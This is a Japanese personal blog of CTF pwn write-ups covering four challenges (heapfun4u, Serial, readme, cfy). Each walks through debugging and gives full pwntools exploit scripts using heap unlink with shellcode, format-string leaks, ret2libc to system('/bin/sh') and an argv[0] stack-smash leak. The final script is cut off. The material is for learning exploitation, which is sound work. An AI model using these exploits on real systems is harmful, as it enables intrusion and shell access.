読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2016 heapfun4u

今回の問題はELF-64bitでxinetd型であった。今回の問題は脆弱性としてUAF(Use After Free)というheapの構造を利用した攻撃だ。この攻撃は現実の攻撃でも行われる攻撃であるが、このUAFは全体の動きを細かく把握してからではないと攻撃することが難しい。
私は今回、全体の動きを細かく把握するのにかなり苦労した。特に、Freeの処理がどのように行われているのかを把握するのに、多くの時間を費やした。しかし、そのおかげもあって、UAFがどのような攻撃であるかを実際にやってみることで、少し理解が進んだ。
実際のglibc mallocの動きとは少し違う部分もあるが、この問題で、UAFを把握するのにはとても良い問題であることを私は感じた。
特に、今回はUAFを理解するために、以下の資料を参考させていただきました!誠にありがとうございます!

speakerdeck.com

さて、ではさっそく問題のほうを見ていきましょう。

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ checksec --file heapfun4u 
[*] '/home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

shima@chino:~/workspace/pwn_list_easy/heapfun4u$ ./heapfun4u 
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 16
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| A
Size: 32
[A]llocate Buffer
[F]ree Buffer
[W]rite Buffer
[N]ice guy
[E]xit
| F
1) 0x7f6970480008 -- 16
2) 0x7f6970480020 -- 32
Index: 1

まあ、今回はheap領域であるため、実際には実行権限があるかわからないため、実際にデバッグしながら見てみましょう。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00402000         r-xp    /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00601000         0x00602000         r--p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00602000         0x00603000         rw-p  /home/shima/workspace/pwn_list_easy/heapfun4u/heapfun4u
0x00007ffff7a12000 0x00007ffff7bd0000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7bd0000 0x00007ffff7dcf000 ---p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dcf000 0x00007ffff7dd3000 r--p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd3000 0x00007ffff7dd5000 rw-p  /lib/x86_64-linux-gnu/libc-2.19.so
0x00007ffff7dd5000 0x00007ffff7dda000 rw-p  mapped
0x00007ffff7dda000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7fdb000 0x00007ffff7fde000 rw-p  mapped
0x00007ffff7ff7000 0x00007ffff7ff8000 rwxp    mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 rw-p  mapped
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.19.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

実際にheap領域に確保するようにしたら、どうやら、mmapで実行権限付きでheapをとっているようだった。とりあえず、適当にheapとfreeを繰り返して、デバッグをしてみた。

1.alloc(16), 2.alloc(128), 3.alloc(16)
1.free(16), 2.free(128)

gdb-peda$ x/30gx 0x00007ffff7ff7000
0x7ffff7ff7000:    0x0000000000000012 0x00007ffff7ff70b8
0x7ffff7ff7010:    0x00007ffff7ff7018 0x0000000000000082
0x7ffff7ff7020:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7030:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7040:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7050:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7060:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7070:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7080:    0x0000000000000000 0x0000000000000000
0x7ffff7ff7090:    0x00007ffff7ff7000 0x0000000000000000
0x7ffff7ff70a0:    0x0000000000000013 0x0000000000000000
0x7ffff7ff70b0:    0x0000000000000000 0x0000000000000f40
0x7ffff7ff70c0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70d0:    0x0000000000000000 0x0000000000000000
0x7ffff7ff70e0:    0x0000000000000000 0x0000000000000000

三つほど、allocateしてそれをallocateした順番に二つFreeしたものである。これからわかることは、1.free(16)を行ったときに直下のchunkがallocateされているため、unlinkすることなく、free listに繋がっている。そして、二つ目の2.free(128)を行ったときは、free listをつなぎ変えていた。
これからをまとめると、以下のようなchunk,freeの動きになっている。
f:id:shimasyaro:20170417174834p:plain
freeの動き

  • SIZEの1bit目はallocateされているかどうか、2bit目はmmap領域を使っているかどうか(今回は使っているため、常にbitが立っている)、3bit目は使われてなかった。

  • free listはfreeされた順番でつながっている。つぎallocateされるときは一番後にfreeされたものからfirst matchで探していく。つまりLIFO(Last In First Out)で探す。

という動きになっていることが分かった。(本当はデバッグしながら探しまくる)ここまで分かったところで、今回のバグを探してみるが、色々簡単に見つかった。

  • [F]ree Bufferを行っても、一回allocateされている場所はずっとfreeできるようになっている。

  • [N]ice guyでstack addressのleakができる。

  • heapのアドレスを表示しているため、どこにDataが格納されているかわかる。

これらを上手く利用して、攻撃を組み立てなければならない。しかし、私はこの時点でどのように攻撃をすればいいのかさっぱりわからなかったため、write upをみることにした。するとUAFを使った面白い攻撃をしていたため、さっそく紹介する。
まず、今回重要になるのが、unlink処理の部分だ。つまり、「直下のchunkがFreeであるという状況」が重要となる。今回のFreeのunlink処理を見てみよう。

mov     rax, [rbp+p_fd]
mov     rdx, [rax]
mov     rax, [rbp+p_fd]
mov     rax, [rax]
mov     rax, [rax]             ; P->fd->size
and     rax, 0FFFFFFFFFFFFFFFCh
sub     rax, 8
add     rax, rdx               ; P->fd + P->fd->size
mov     [rbp+fd_fd], rax       ; P->fd->fd
mov     rax, [rbp+fd_fd]
mov     rdx, [rbp+size_addr]
mov     [rax+8], rdx           ; P->fd->fd+8 = P

rbp+p_fd(P->fd)と書かれているものが、直下のfree chunkのfdポインタが入っている。このfdポインタとfdポインタ先のSIZEを足すことによって次のfree listのポインタに移動する。そしてrbp+fd_fd(P->fd->fd)ポインタから+8されたところを書き換えるような動きをしている。
今回はこの動きを利用して以下のようにchunkの配置を行う。
f:id:shimasyaro:20170418093417p:plain

  • まず、Buffer1,Buffer2,Buffer3をそれぞれ確保した後、Buffer2,Buffer1の順番で開放する。

  • Buffer4を確保したら、書き込みを行い、上記のような配置でchunkを配置する。

  • Buffer2を再び開放して、unlink attackを行い、return addressをBuffer2(FAKE_SIZE)のアドレスに書き換える。

  • Buffer4で書き込みを行い、Buffer2(FAKE_SIZE)のアドレスの部分にshellcodeを置く。

  • [E]xitを行って、main関数の returnをさせて、shellcodeを起動させる。

以上が攻撃の流れになる。私が頭を抱えたのがreturn+8になっているので-8にしてoffsetを取っていたが、どうやら意図的にずらしているようだった。(もしかしたら、自分の計算ミス、構造把握ミスがあるため、なんともいえない)
とりあえず、こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
shellcode = asm(shellcraft.sh())

conn = process('./heapfun4u')
print "[+] connect to local\n"

def alloc(size):
    conn.recvuntil('| ')
    conn.sendline('A')
    conn.recvuntil('Size: ')
    conn.sendline(size)

def free(index):
    conn.recvuntil('| ')
    conn.sendline('F')
    conn.recvuntil('Index: ')
    conn.sendline(index)

def write(index, buf):
    conn.recvuntil('| ')
    conn.sendline('W')
    conn.recvuntil(index + ') ')
    heap_addr = int(conn.recv(14), 16)
    conn.recvuntil('Write where: ')
    conn.sendline(index)
    conn.recvuntil('Write what: ')
    conn.sendline(buf)

    return heap_addr
    
def leak():
    conn.recvuntil('| ')
    conn.sendline('N')
    conn.recvuntil('Here you go: ')
    ret_addr = int(conn.recvuntil('\n'), 16) + 0x13c

    return ret_addr

def leave():
    conn.recvuntil('| ')
    conn.sendline('E')

# get return address
ret_addr = leak()

# set chunk and free
alloc('16')    # index 1
alloc('128')   # index 2
alloc('16')    # index 3
free('2')
free('1')

# alloc index 4 and leak heap address(index 4)
alloc('128')
heap_addr = write('4', 'SYARO!!!')
ret_size = ret_addr - heap_addr

log.info('ret_size:%16x' % ret_size)
log.info('fd:      %16x' % heap_addr)
log.info('return:  %16x' % ret_addr)

# unlink atack
unlink_attack = ''
unlink_attack += p64(ret_size)   
unlink_attack += p64(0)          
unlink_attack += p64(16 + 2 + 1) # fake alloc chunk
unlink_attack += 'SYARO!!!' * 2  # data
unlink_attack += p64(16 + 2)     # fake free chunk
unlink_attack += p64(heap_addr)  # fd
unlink_attack += p64(0)          # bk

write('4', unlink_attack)
free('2')

payload = ''
payload += 'SYARO!!!' * 2
payload += shellcode

write('4', payload)
leave()

conn.interactive()

【総評】UAFマジでくじけそう

Codegate CTF 2016 Quals Serial

64bit-ELFでxinetd型だった。angr使ったことないからこの問題を使って解こうかなと思った問題。とりあえず、見ていこう。

shima@chino:~/workspace/pwn_list_easy/serial$ checksec --file serial 
[*] '/home/shima/workspace/pwn_list_easy/serial/serial'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
shima@chino:~/workspace/pwn_list_easy/serial$ 

とりあえず、実行してみる。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 14444444444444
Wrong!

はい、どうやらここのkeyを当てないと次に行かないようになっているっぽい。…逆アセンブルして頑張りたくないなぁという思いしかなかったため、angrというものを使ってみる。とりあえず、コードをいかに貼る。

# coding: utf-8
import angr

start = 0x400cbb
finish  = 0x400e5c
key_len = 20
p = angr.Project("./serial")

# set entry point
init = p.factory.blank_state(addr = start)

# Creates a Bit-Vector Symbol
key = init.se.BVS(name="key", size = key_len * 8)

# Stores content into memory
init.memory.store(0x6020ff, key)

# Set sub_0x400cbb's arg1
init.regs.rdi = 0x6020ff

# Find the path to reach the specified address
pg = p.factory.path_group(init)
pg.explore(find = finish)

s = pg.found[0].state
print "Key = %r" % s.se.any_str(key).strip("\x00")

コード自体は以下のサイトを参考にさせていただきました。ありがとうございます!

pwn.hatenadiary.jp
コード自体は何をやっているのかというと、0x6020ff(.bssセクション内)のアドレスをkeyを判断する関数(0x400cbb)の第一引数として与え、angrが頑張ってkeyを見つけてくれるようなコードである。正直どのようにして見つけているのか分かんないため、思考停止状態で使ってる。全数探索でもやってるのかな?
angrを使うタイミングとしてはkeyを判断する関数(0x400cbb)からその関数の終わりまでである。これを実行すると以下のような結果になる。

(ENV) shima@chino:~/workspace/pwn_list_easy/serial$ python key.py 
Key = '615066814080'

これでkeyが分かったため、次の処理を見てみよう。

shima@chino:~/workspace/pwn_list_easy/serial$ ./serial 
input product key: 615066814080
Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> 
  1. ADDはヒープ領域に確保された場所に入力したものをmemcpyを使って入力した文字数分格納する。(ここにBOFあり)

  2. RemoveはADDされたもの全部削除

  3. Dumpは入力されたデータを表示する(ここのバグを利用する)

  4. Quitは終了

ADD命令でmemcpyした直後ヒープの状態は以下のようになっている。

gdb-peda$ x/4gx 0x603010
0x603010:  0x4141414141414141 0x0000000000000000
0x603020:  0x0000000000000000 0x000000000040096e

ヒープに既に何かが格納のされているが、これは関数のポインタであり、Dumpを使ったときにこの関数のポインタが利用される。今回はこの関数ポインタを任意の関数に書き換えて利用する。
以下がDumpが関数ポインタを利用する逆アセンブルである

mov     rax, [rbp+arg1] 確保されたヒープ領域の先頭アドレス
mov     rdx, [rax+18h] 関数のポインタ(確保されたヒープ領域の先頭アドレス+18h)
mov     rax, [rbp+arg1] 
mov     rdi, rax        確保されたヒープ領域の先頭アドレスを第1引数にする。
mov     eax, 0
call    rdx

入力した部分がそのまま第一引数になるため、これを上手く関数ポインタをsystemに変えて/bin/shを起動させたい。しかし、どうやってlibc baseを特定させればいいだろう?…ここで考えたのがFSBを自ら作るということだ。関数のポインタをprintf.pltをセットし、そして第一引数に%pを入力することにより、leakを行うことができる。さっそくperlワンライナーで書いて実行してみよう

shima@chino:~/workspace/pwn_list_easy/serial$ perl -e 'print "615066814080\n" . "1\n" . "%3\$p" . "A"x20 . pack("Q<", 0x400790) . "\n" . "3\n" . "4\n"' | ./serial
input product key: Correct!
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> insert >> Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> hey! (nil)
Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> func : 0x400790
0x7fc393f4ff80AAAAAAAAAAAAAAAAAAAA�@Smash me!
1. Add 2. Remove 3. Dump 4. Quit
choice >> bye

%pから順番に試していくと%3$p(つまり、三つ目)でwrite+16h関数の部分のGOTアドレスをleakさせることができた。ここからlibc baseをleakさせ、systemの関数をセットさせよう。攻撃の順番としては以下のようになる。

  1. ADDして、BOFで関数ポインタをprintf.pltにし引数を%3$pにする。

  2. Dumpしてwrite+16h関数のアドレスをleakし、libc baseを求める。

  3. Removeして、ADDのdataをきれいにする。(関数のポインタがprintf.pltになっているため)

  4. ADDして、BOFで関数ポインタをsystemにし引数を/bin/sh;にする。

  5. Dumpしてshellを起動

これらを行うコードは以下のようになる。コードべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log
elf = ELF('./serial')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./serial')
        print "[+] connect to local\n"

def add(data):
    conn.recvuntil("choice >> ")
    conn.send("1\n")
    conn.recvuntil("insert >> ")
    conn.send(data+"\n")

def remove():
    conn.recvuntil("choice >> ")
    conn.send("2\n")

def dump():
    conn.recvuntil("choice >> ")
    conn.send("3\n")
    conn.recvuntil("func : 0x400790\n")
    return int(conn.recv(14),16)

# set product key
conn.recvuntil("input product key: ")
conn.send("615066814080\n")

# leak libc base(write+16 is leaked)
payload = ''
payload += '%3$p'
payload += 'A' * 20
payload += p64(elf.plt['printf'])

add(payload)

# get libc_base and system_addr
write_libc = dump() - 0x10
print "write:%16x" % write_libc
libc_base = write_libc - libc.symbols['write']
system    = libc_base  + libc.symbols['system']
print "[+] libc base %16x" % libc_base
print "[+] system %16x" % system

remove()

# set system(/bin/sh)
payload = ''
payload += '/bin/sh;'
payload += "A" * 16
payload += p64(system)

conn.send("1\n")
add(payload)
conn.send("3\n")

conn.interactive()

remove終わった直後に1(add命令)を送ると少し変な動きをするため、先に1を送ってそのあとにadd命令を送ることでうまくいったため、少し変なコードになっている。
【総評】angrよく分からないというお気持ち

32C3 CTF readme

今回の問題はELF-64bitの問題だった。info leak問題で私が今まで知らなかった攻撃方法であったため、かなり勉強になった。ほかにも類似問題があるため、その問題にも挑んでみたい。
とりあえず、今回の問題を解くのにかなり参考になった資料を先に紹介しておく。この資料を提供してくださった方々には、まことに御礼を申し上げます。

pwn.hatenadiary.jp

speakerdeck.com

さて、さっそく問題のほうを見ていこう。まずはセキュリティチェック

shima@chino:~/workspace/pwn_list_easy/readme$ checksec --file readme.bin
[*] '/home/shima/workspace/pwn_list_easy/readme/readme.bin'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled

「どうやら、SSPがあるため、BOFはきびしそうだなぁ」この時点でこういう思いしかなかったが、この考え自体が間違いだった。後々わかることだが、とりあえず、実際にlocalで試してみよう。

shima@chino:~/workspace/pwn_list_easy/readme$ ./readme.bin
Hello!
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
中止 (コアダンプ)

どうやら、名前を聞かれて入力後に、flagの中身を書き換えるような入力があるらしい。ということは今回はsystemを起動させるというよりはメモリに格納されているflagを読み取るような問題であることが想像できる。ではさっそくデバッグしてみよう。まず気になったのはcanaryをセットするところである。

0x4007f3:   mov    rax,QWORD PTR fs:0x28
0x4007fc:  mov    QWORD PTR [rsp+0x108],rax

gdb-peda$ x/gx $rsp+0x108
0x7fffffffde98:    0x8550dbbcc7ce9900

つまりここを破壊してしまうとBOFを検知して終了してしまうことが分かる。次に気になったのはflagを書き換えるところである。

 0x40084e:   mov    BYTE PTR [rbx+0x600d20],al
 0x400854:  add    rbx,0x1

gdb-peda$ x/s 0x600d20
0x600d20:   "32C3_TheServerHasTheFlagHere..."

どうやら、ここでリモート先のflagが読み取られてここに配置されるようになっているらしい。……以上が気になった点である。ここで私は詰みました。どうしようもないため、write-upをあさっていると私が知らない攻撃が使われていたため、とりあえず理解して、色々試してみることにした。
今回使われる攻撃というものはargv[0] leakと言われるものである。攻撃方法を簡単に説明すると「BOFさせてSSP破壊してargv[0]に好きなアドレスを置いてstack破壊のメッセージを使ってinfo leakしよう」という方法である。ここら辺の説明は上記の資料のほうが詳しいため、説明を割愛する。
今回の問題はflagをleakすればいいが、実はリモートでBOFをやっても,stack破壊のメッセージは表示されない。(PATH_TTYという/dev/ttyに流れてリモート先の端末に表示される)そのため、/dev/ttyに流れないようにLIBC_FATAL_STDERRの値をNULLでない(適当な値)にしてあげなければならない。(多分、xinetd型ではなくsocatをつかっているため)
LIBC_FATAL_STDERRとはどういったものだろうか?glibcソースコードを順を追って見てみよう!
今回は現時点(2017/03/31時点)で最新のglibc-2.25のソースコードを見ている。ソースはどこにあるのか以下にまとめておく

__stack_chk_fail    :glibc-2.25\debug\stack_chk_fail.c
__fortify_fail      :glibc-2.25\debug\fortify_fail.c
__libc_init_first   :glibc-2.25\csu\init-first.c
__libc_message      :glibc-2.25\sysdeps\posix\libc_fatal.c
__libc_secure_getenv:glibc-2.25\stdlib\secure-getenv.c
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

stack_chk_failはfortify_failを呼んでるだけなので__fortify_failをみる。

void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
            msg, __libc_argv[0] ?: "<unknown>");
}

ここがエラーが表示されるらしい、argv[0]はここでつかわれるらしい。libc_argv[0]はargv[0]のことを表している(詳しくはinit-first.cにあるlibc_init_firstまたはkatagaitai#4資料を参照)ここだけではまだ、LIBC_FATAL_STDERRはよくわかっていないため、 __libc_messageの関数を見てみる。

__libc_message (int do_abort, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

  /* Open a descriptor for /dev/tty unless the user explicitly
     requests errors on standard error.  */
  const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");
  if (on_2 == NULL || *on_2 == '\0')
    fd = open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);

  if (fd == -1)
    fd = STDERR_FILENO;
(以下省略)

どうやらここで、LIBC_FATAL_STDERR_が使われているようだった。初期値にfd = -1が入っている。ここの戻り値がNULLであれば、/dev/tty(端末)に流れるため、それをうまくNULL以外の値にしてあげて、STDERR_FILENOで標準エラー出力にしなくてはならない。ここだけではまだよくわからないため、__libc_secure_getenvを見てみよう。

char *
__libc_secure_getenv (const char *name)
{
  return __libc_enable_secure ? NULL : getenv (name);
}

ここでようやく何をしているのか分かった。どうやら、getenv()で環境変数(envp[])からname(今回の場合はLIBC_FATAL_STDERR)の値が入っているかどうかで判断しているらしい。LIBC_FATAL_STDERRの値がNULLであれば、/dev/ttyに流れ、NULLでなければ標準エラー出力に流れる。つまり、今回は環境変数にLIBC_FATAL_STDERR_=(適当)な値を入れておけばリモート先につないでも見えるはずである。つまり今回の攻撃をまとめると以下のようになる。

flag                    (argv[0])
NULL                    (argvとenvpの境目には実行ファイルの構造上NULLが入る)
LIBC_FATAL_STDERR_= 適当(envp[0])

このようにすれば上手くいくはずである。しかし、ここで問題が出てくる。flagは途中で書き換わってしまう(二回目の入力)ため、上手く表示することができない。すると以下のようなことがwrite-upを見て分かった。どうやら、x64の初期配置は0x400000になっている。これは以下のコマンドを実行してみるとわかる。

shima@chino:~/workspace/pwn_list_easy/readme$ ld --verbose
******************************************上記を省略**********************************************************************
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;

し、知らなかった(焦り)このことから.dataに入っている値は0x600d20にも入っているが、0x400d20にも入っている。実際に確認してみよう。

gdb-peda$ x/s 0x600d20
0x600d20:  "32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x400d20
0x400d20:  "32C3_TheServerHasTheFlagHere..."

マジで入ってる( ^ω^ )。…ということでここまで確認できたということで実際に攻撃を組み立ててみよう。まずは一回目の入力でBOFさせて以下のような配置にする

A*0x210
1       (argc)
0x400d20(argv[0])
NULL    (境目)
0x600d20(envp[0])

argcまでのoffsetは0x210byteであり、そこから配置していく。そして二回目の入力は改行文字がくるまで、一文字ずつ0x600d20+ebxという形でebxを加算しながら入れていくため、それを利用してLIBC_FATAL_STDERR_= (適当)を送る。
ではさっそく、コードべちょー。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = '8888'
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./readme.bin')
        print "[+] connect to local\n"

flag_addr = 0x600d20

payload = ''
payload += "A" * 0x210
payload += p64(1)                   # argc
payload += p64(flag_addr - 0x200000)# argv[0]
payload += p64(0)                   # NULL
payload += p64(flag_addr)           # envp[0]
payload += '\n'

conn.send(payload)

payload = "LIBC_FATAL_STDERR_=syarochan\n"
conn.send(payload)

print conn.recvall()

独断と偏見でLIBC_FATAL_STDERR_の値をsyarochanにしている(シャロちゃんかわいい)。socatを以下のような例にして実際に動くか試してみる。

shima@chino:~/workspace/pwn_list_easy/readme$ socat TCP-LISTEN:8888,reuseaddr,fork EXEC:./readme.bin,stderr
shima@chino:~/workspace/pwn_list_easy/readme$ python exploit.py r
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[+] Receiving all data: Done (693B)
[*] Closed connection to localhost port 8888
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated

shima@chino:~/workspace/pwn_list_easy/readme$ 

上手く動いている。ちなみに、二回目の入力をLIBC_FATAL_STDERR_の偽造を行わなかったら、/dev/tty(リモート先端末)に流れることも確認してみて欲しい。
【総評】argv[0]に対する考え方が広がった。

31C3 CTF cfy

64bit-ELFでxinetd型だった。問題としては攻撃を知っておかなければならないというよりも、システムの仕様理解していれば解けるような問題だった。ではさっそく、checksecから。

shima@chino:~/workspace/pwn_list_easy/cfy$ checksec --file cfy
[*] '/home/shima/workspace/pwn_list_easy/cfy/cfy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

実行ファイルを調べてもheapなども使われいないことから「今回はsystem(/bin/sh)を呼ぶんだろうな」ということを念頭に置きながらさっそく実行!

shima@chino:~/workspace/pwn_list_easy/cfy$ ./cfy 
What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit
0

Please enter your number: 113
dec: 275
hex: 0x113

What do you want to do?
0) parse from hex
1) parse from dec
2) parse from pointer
3) quit

打った文字を10進と16進で表示させるような問題だった。しかし、2) parse from pointerというのが、適当に打ってもセグフォしてよくわからなかったのでここを中心に調べてみることにした。

RAX: 0x601018 --> 0x7ffff7a81d60 (<puts>: push   r12)

   0x400789 <from_ptr+4>:    mov    QWORD PTR [rbp-0x8],rdi
   0x40078d <from_ptr+8>:    mov    rax,QWORD PTR [rbp-0x8]
   0x400791 <from_ptr+12>:   mov    rax,QWORD PTR [rax]
=> 0x400794 <from_ptr+15>:   mov    rax,QWORD PTR [rax]
   0x400797 <from_ptr+18>:   pop    rbp
   0x400798 <from_ptr+19>:   ret   

どうやら、打った文字のアドレスの中身を表示させるような仕組みになっていた。今は、puts関数のGOTアドレスを打った様子である。「ここからlibc_baseをleakさせればいいのか」とここで考えた。
また、これとは違ったバグを見つけた。

0x4008af <main+163>: shl    rax,0x4            
0x4008b3 <main+167>: add    rax,0x601080       ;rax*16 + 0x601080
0x4008b9 <main+173>: mov    rax,QWORD PTR [rax]
0x4008bc <main+176>: mov    edi,0x6010e0
0x4008c1 <main+181>: call   rax                ;rax(buf)

gdb-peda$ x/50gx 0x601080
0x601080 <parsers>:  0x000000000040073d 0x00000000004009b4
0x601090 <parsers+16>:  0x0000000000400761 0x00000000004009c3
0x6010a0 <parsers+32>:  0x0000000000400785 0x00000000004009d2
0x6010b0:  0x0000000000000000 0x0000000000000000
0x6010c0 <stdout@@GLIBC_2.2.5>:    0x00007ffff7dd4400 0x00007ffff7dd4640
0x6010d0 <completed.6972>:  0x0000000000000000 0x0000000000000000
0x6010e0 <buf>:  0x6161616161616161 0x6262626262626262
0x6010f0 <buf+16>:  0x6363636363636363 0x616161616161000a
0x601100 <buf+32>:  0x6161616161616161 0x0a61616161616161

0,1,2の番号に応じたユーザ関数を呼び出すときにユーザが入力した番号をシフトさせてその値に0x601080を足して呼び出している。ちなみに、0x601080の中身から上位のアドレスにユーザが入力した値が格納されるbufがある。
このバグを上手く利用してraxの部分をsystemにし、その第一引数のbufに/bin/shとすればshellが起動するはずである。
これらをまとめると、以下のような順番で、攻撃していく。

  1. libc_baseをnumber 2を使って、適当なライブラリ関数のGOTアドレスからleakする。

  2. systemをnumber 0 or number 1を使ってbuf+16にsetする。

  3. /bin/shをnumber 7(raxをbuf+16にする)を使ってbufにsetしてshellを起動させる。

コードにすると以下のようになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

elf = ELF('./cfy')
puts_got = elf.got['puts']

libc = ELF('/lib/x86_64-linux-gnu/libc-2.19.so')
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']

conn = process('./cfy')
print "[+] connect to local\n"

def send_data(number, data):
    conn.recvuntil('3) quit\n')
    conn.send(number+'\n')
    conn.recvuntil('Please enter your number: ')
    conn.send(data+'\n')

# leak libc base
leak = ''
leak += p64(puts_got)
send_data('2', leak)

conn.recvuntil('hex: ')
libc_base  = int(conn.recv(16), 16) - puts_offset
system = libc_base + system_offset
